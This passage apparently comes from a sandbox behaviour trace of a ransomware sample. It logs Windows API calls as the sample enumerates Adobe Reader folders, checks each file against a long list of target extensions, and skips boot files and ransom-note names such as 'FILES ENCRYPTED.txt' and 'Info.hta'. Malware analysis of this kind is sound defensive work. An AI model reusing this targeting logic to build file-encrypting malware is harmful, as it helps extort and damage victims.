	[0173.340] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\eu-es\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140ed8
	[0173.340] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0173.340] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.340] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.340] lstrlenW (lpString=".1cd") returned 4
	[0173.340] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0173.340] lstrlenW (lpString=".3ds") returned 4
	[0173.340] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0173.340] lstrlenW (lpString=".3fr") returned 4
	[0173.340] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0173.340] lstrlenW (lpString=".3g2") returned 4
	[0173.340] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0173.340] lstrlenW (lpString=".3gp") returned 4
	[0173.340] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0173.340] lstrlenW (lpString=".7z") returned 3
	[0173.340] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0173.340] lstrlenW (lpString=".accda") returned 6
	[0173.340] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0173.340] lstrlenW (lpString=".accdb") returned 6
	[0173.340] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0173.340] lstrlenW (lpString=".accdc") returned 6
	[0173.340] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0173.340] lstrlenW (lpString=".accde") returned 6
	[0173.340] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0173.341] lstrlenW (lpString=".accdt") returned 6
	[0173.341] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0173.341] lstrlenW (lpString=".accdw") returned 6
	[0173.341] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0173.341] lstrlenW (lpString=".adb") returned 4
	[0173.341] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0173.341] lstrlenW (lpString=".adp") returned 4
	[0173.341] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0173.341] lstrlenW (lpString=".ai") returned 3
	[0173.341] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0173.341] lstrlenW (lpString=".ai3") returned 4
	[0173.341] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0173.341] lstrlenW (lpString=".ai4") returned 4
	[0173.341] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0173.341] lstrlenW (lpString=".ai5") returned 4
	[0173.341] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0173.341] lstrlenW (lpString=".ai6") returned 4
	[0173.341] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0173.341] lstrlenW (lpString=".ai7") returned 4
	[0173.341] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0173.341] lstrlenW (lpString=".ai8") returned 4
	[0173.341] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0173.341] lstrlenW (lpString=".anim") returned 5
	[0173.341] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0173.341] lstrlenW (lpString=".arw") returned 4
	[0173.341] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0173.341] lstrlenW (lpString=".as") returned 3
	[0173.341] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0173.341] lstrlenW (lpString=".asa") returned 4
	[0173.341] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0173.341] lstrlenW (lpString=".asc") returned 4
	[0173.341] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0173.341] lstrlenW (lpString=".ascx") returned 5
	[0173.341] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0173.342] lstrlenW (lpString=".asm") returned 4
	[0173.342] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0173.342] lstrlenW (lpString=".asmx") returned 5
	[0173.342] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0173.342] lstrlenW (lpString=".asp") returned 4
	[0173.342] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0173.342] lstrlenW (lpString=".aspx") returned 5
	[0173.342] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0173.342] lstrlenW (lpString=".asr") returned 4
	[0173.342] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0173.342] lstrlenW (lpString=".asx") returned 4
	[0173.342] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0173.342] lstrlenW (lpString=".avi") returned 4
	[0173.342] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0173.342] lstrlenW (lpString=".avs") returned 4
	[0173.342] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0173.342] lstrlenW (lpString=".backup") returned 7
	[0173.342] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0173.342] lstrlenW (lpString=".bak") returned 4
	[0173.342] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0173.342] lstrlenW (lpString=".bay") returned 4
	[0173.342] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0173.342] lstrlenW (lpString=".bd") returned 3
	[0173.342] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0173.342] lstrlenW (lpString=".bin") returned 4
	[0173.342] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0173.342] lstrlenW (lpString=".bmp") returned 4
	[0173.342] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0173.342] lstrlenW (lpString=".bz2") returned 4
	[0173.342] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0173.342] lstrlenW (lpString=".c") returned 2
	[0173.342] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0173.342] lstrlenW (lpString=".cdr") returned 4
	[0173.342] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0173.342] lstrlenW (lpString=".cer") returned 4
	[0173.343] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0173.343] lstrlenW (lpString=".cf") returned 3
	[0173.343] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0173.343] lstrlenW (lpString=".cfc") returned 4
	[0173.343] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0173.343] lstrlenW (lpString=".cfm") returned 4
	[0173.343] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0173.343] lstrlenW (lpString=".cfml") returned 5
	[0173.343] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0173.343] lstrlenW (lpString=".cfu") returned 4
	[0173.343] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0173.343] lstrlenW (lpString=".chm") returned 4
	[0173.343] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0173.343] lstrlenW (lpString=".cin") returned 4
	[0173.343] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0173.343] lstrlenW (lpString=".class") returned 6
	[0173.343] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0173.343] lstrlenW (lpString=".clx") returned 4
	[0173.343] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0173.343] lstrlenW (lpString=".config") returned 7
	[0173.343] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0173.343] lstrlenW (lpString=".cpp") returned 4
	[0173.343] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0173.343] lstrlenW (lpString=".cr2") returned 4
	[0173.343] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0173.343] lstrlenW (lpString=".crt") returned 4
	[0173.343] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0173.344] lstrlenW (lpString=".crw") returned 4
	[0173.344] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0173.344] lstrlenW (lpString=".cs") returned 3
	[0173.344] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0173.344] lstrlenW (lpString=".css") returned 4
	[0173.344] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0173.344] lstrlenW (lpString=".csv") returned 4
	[0173.344] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0173.344] lstrlenW (lpString=".cub") returned 4
	[0173.344] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0173.344] lstrlenW (lpString=".dae") returned 4
	[0173.344] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0173.344] lstrlenW (lpString=".dat") returned 4
	[0173.344] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0173.344] lstrlenW (lpString=".db") returned 3
	[0173.344] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0173.344] lstrlenW (lpString=".dbf") returned 4
	[0173.344] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0173.344] lstrlenW (lpString=".dbx") returned 4
	[0173.344] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0173.344] lstrlenW (lpString=".dc3") returned 4
	[0173.344] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0173.344] lstrlenW (lpString=".dcm") returned 4
	[0173.344] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0173.344] lstrlenW (lpString=".dcr") returned 4
	[0173.344] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0173.344] lstrlenW (lpString=".der") returned 4
	[0173.344] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0173.345] lstrlenW (lpString=".dib") returned 4
	[0173.345] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0173.345] lstrlenW (lpString=".dic") returned 4
	[0173.345] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0173.345] lstrlenW (lpString=".dif") returned 4
	[0173.345] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0173.345] lstrlenW (lpString=".divx") returned 5
	[0173.345] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0173.345] lstrlenW (lpString=".djvu") returned 5
	[0173.345] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0173.345] lstrlenW (lpString=".dng") returned 4
	[0173.345] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0173.345] lstrlenW (lpString=".doc") returned 4
	[0173.345] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0173.345] lstrlenW (lpString=".docm") returned 5
	[0173.345] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0173.345] lstrlenW (lpString=".docx") returned 5
	[0173.345] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0173.345] lstrlenW (lpString=".dot") returned 4
	[0173.345] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0173.345] lstrlenW (lpString=".dotm") returned 5
	[0173.345] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0173.345] lstrlenW (lpString=".dotx") returned 5
	[0173.345] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0173.345] lstrlenW (lpString=".dpx") returned 4
	[0173.345] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0173.345] lstrlenW (lpString=".dqy") returned 4
	[0173.345] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0173.345] lstrlenW (lpString=".dsn") returned 4
	[0173.345] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0173.345] lstrlenW (lpString=".dt") returned 3
	[0173.345] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0173.346] lstrlenW (lpString=".dtd") returned 4
	[0173.346] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0173.346] lstrlenW (lpString=".dwg") returned 4
	[0173.346] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0173.346] lstrlenW (lpString=".dwt") returned 4
	[0173.346] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0173.346] lstrlenW (lpString=".dx") returned 3
	[0173.346] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0173.346] lstrlenW (lpString=".dxf") returned 4
	[0173.346] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0173.346] lstrlenW (lpString=".edml") returned 5
	[0173.346] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0173.346] lstrlenW (lpString=".efd") returned 4
	[0173.346] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0173.346] lstrlenW (lpString=".elf") returned 4
	[0173.346] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0173.346] lstrlenW (lpString=".emf") returned 4
	[0173.346] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0173.346] lstrlenW (lpString=".emz") returned 4
	[0173.346] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0173.346] lstrlenW (lpString=".epf") returned 4
	[0173.346] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0173.346] lstrlenW (lpString=".eps") returned 4
	[0173.346] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0173.346] lstrlenW (lpString=".epsf") returned 5
	[0173.346] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0173.346] lstrlenW (lpString=".epsp") returned 5
	[0173.346] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0173.346] lstrlenW (lpString=".erf") returned 4
	[0173.346] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0173.346] lstrlenW (lpString=".exr") returned 4
	[0173.347] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0173.347] lstrlenW (lpString=".f4v") returned 4
	[0173.347] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0173.347] lstrlenW (lpString=".fido") returned 5
	[0173.347] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0173.347] lstrlenW (lpString=".flm") returned 4
	[0173.347] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0173.347] lstrlenW (lpString=".flv") returned 4
	[0173.347] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0173.347] lstrlenW (lpString=".frm") returned 4
	[0173.347] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0173.347] lstrlenW (lpString=".fxg") returned 4
	[0173.347] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0173.347] lstrlenW (lpString=".geo") returned 4
	[0173.347] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0173.347] lstrlenW (lpString=".gif") returned 4
	[0173.347] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0173.347] lstrlenW (lpString=".grs") returned 4
	[0173.347] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0173.347] lstrlenW (lpString=".gz") returned 3
	[0173.348] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0173.348] lstrlenW (lpString=".h") returned 2
	[0173.348] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0173.348] lstrlenW (lpString=".hdr") returned 4
	[0173.348] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0173.348] lstrlenW (lpString=".hpp") returned 4
	[0173.348] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0173.348] lstrlenW (lpString=".hta") returned 4
	[0173.348] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0173.348] lstrlenW (lpString=".htc") returned 4
	[0173.348] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0173.348] lstrlenW (lpString=".htm") returned 4
	[0173.348] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0173.348] lstrlenW (lpString=".html") returned 5
	[0173.348] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0173.348] lstrlenW (lpString=".icb") returned 4
	[0173.348] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0173.348] lstrlenW (lpString=".ics") returned 4
	[0173.348] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0173.348] lstrlenW (lpString=".iff") returned 4
	[0173.348] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0173.348] lstrlenW (lpString=".inc") returned 4
	[0173.348] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0173.348] lstrlenW (lpString=".indd") returned 5
	[0173.348] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0173.348] lstrlenW (lpString=".ini") returned 4
	[0173.348] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0173.348] lstrlenW (lpString=".iqy") returned 4
	[0173.348] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0173.348] lstrlenW (lpString=".j2c") returned 4
	[0173.348] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0173.348] lstrlenW (lpString=".j2k") returned 4
	[0173.348] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0173.348] lstrlenW (lpString=".java") returned 5
	[0173.349] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0173.349] lstrlenW (lpString=".jp2") returned 4
	[0173.349] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0173.349] lstrlenW (lpString=".jpc") returned 4
	[0173.349] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0173.349] lstrlenW (lpString=".jpe") returned 4
	[0173.349] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0173.349] lstrlenW (lpString=".jpeg") returned 5
	[0173.349] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0173.349] lstrlenW (lpString=".jpf") returned 4
	[0173.349] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0173.349] lstrlenW (lpString=".jpg") returned 4
	[0173.349] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0173.349] lstrlenW (lpString=".jpx") returned 4
	[0173.349] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0173.349] lstrlenW (lpString=".js") returned 3
	[0173.349] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0173.349] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.349] lstrlenW (lpString=".GTF") returned 4
	[0173.349] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0173.349] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.349] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0173.349] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0173.349] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0173.349] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0173.349] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0173.349] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0173.349] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0173.349] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0173.350] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\eu-es\\ui-strings.js") returned 129
	[0173.350] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0173.350] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0173.350] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.350] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0173.350] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\fi-fi") returned 115
	[0173.350] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\fi-fi") returned 1
	[0173.350] lstrlenW (lpString="fi-fi") returned 5
	[0173.350] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fi-fi") returned -1
	[0173.350] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42e29c8
	[0173.350] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\fi-fi") returned 115
	[0173.350] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\fi-fi\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140ed8
	[0173.350] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0173.350] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.351] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.351] lstrlenW (lpString=".1cd") returned 4
	[0173.351] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0173.351] lstrlenW (lpString=".3ds") returned 4
	[0173.351] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0173.351] lstrlenW (lpString=".3fr") returned 4
	[0173.351] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0173.351] lstrlenW (lpString=".3g2") returned 4
	[0173.351] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0173.351] lstrlenW (lpString=".3gp") returned 4
	[0173.351] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0173.351] lstrlenW (lpString=".7z") returned 3
	[0173.351] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0173.351] lstrlenW (lpString=".accda") returned 6
	[0173.351] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0173.351] lstrlenW (lpString=".accdb") returned 6
	[0173.351] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0173.351] lstrlenW (lpString=".accdc") returned 6
	[0173.351] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0173.351] lstrlenW (lpString=".accde") returned 6
	[0173.351] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0173.351] lstrlenW (lpString=".accdt") returned 6
	[0173.351] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0173.351] lstrlenW (lpString=".accdw") returned 6
	[0173.351] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0173.351] lstrlenW (lpString=".adb") returned 4
	[0173.351] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0173.351] lstrlenW (lpString=".adp") returned 4
	[0173.351] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0173.351] lstrlenW (lpString=".ai") returned 3
	[0173.351] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0173.351] lstrlenW (lpString=".ai3") returned 4
	[0173.351] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0173.351] lstrlenW (lpString=".ai4") returned 4
	[0173.352] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0173.352] lstrlenW (lpString=".ai5") returned 4
	[0173.352] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0173.352] lstrlenW (lpString=".ai6") returned 4
	[0173.352] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0173.352] lstrlenW (lpString=".ai7") returned 4
	[0173.352] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0173.352] lstrlenW (lpString=".ai8") returned 4
	[0173.352] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0173.352] lstrlenW (lpString=".anim") returned 5
	[0173.352] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0173.352] lstrlenW (lpString=".arw") returned 4
	[0173.352] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0173.352] lstrlenW (lpString=".as") returned 3
	[0173.352] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0173.352] lstrlenW (lpString=".asa") returned 4
	[0173.352] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0173.352] lstrlenW (lpString=".asc") returned 4
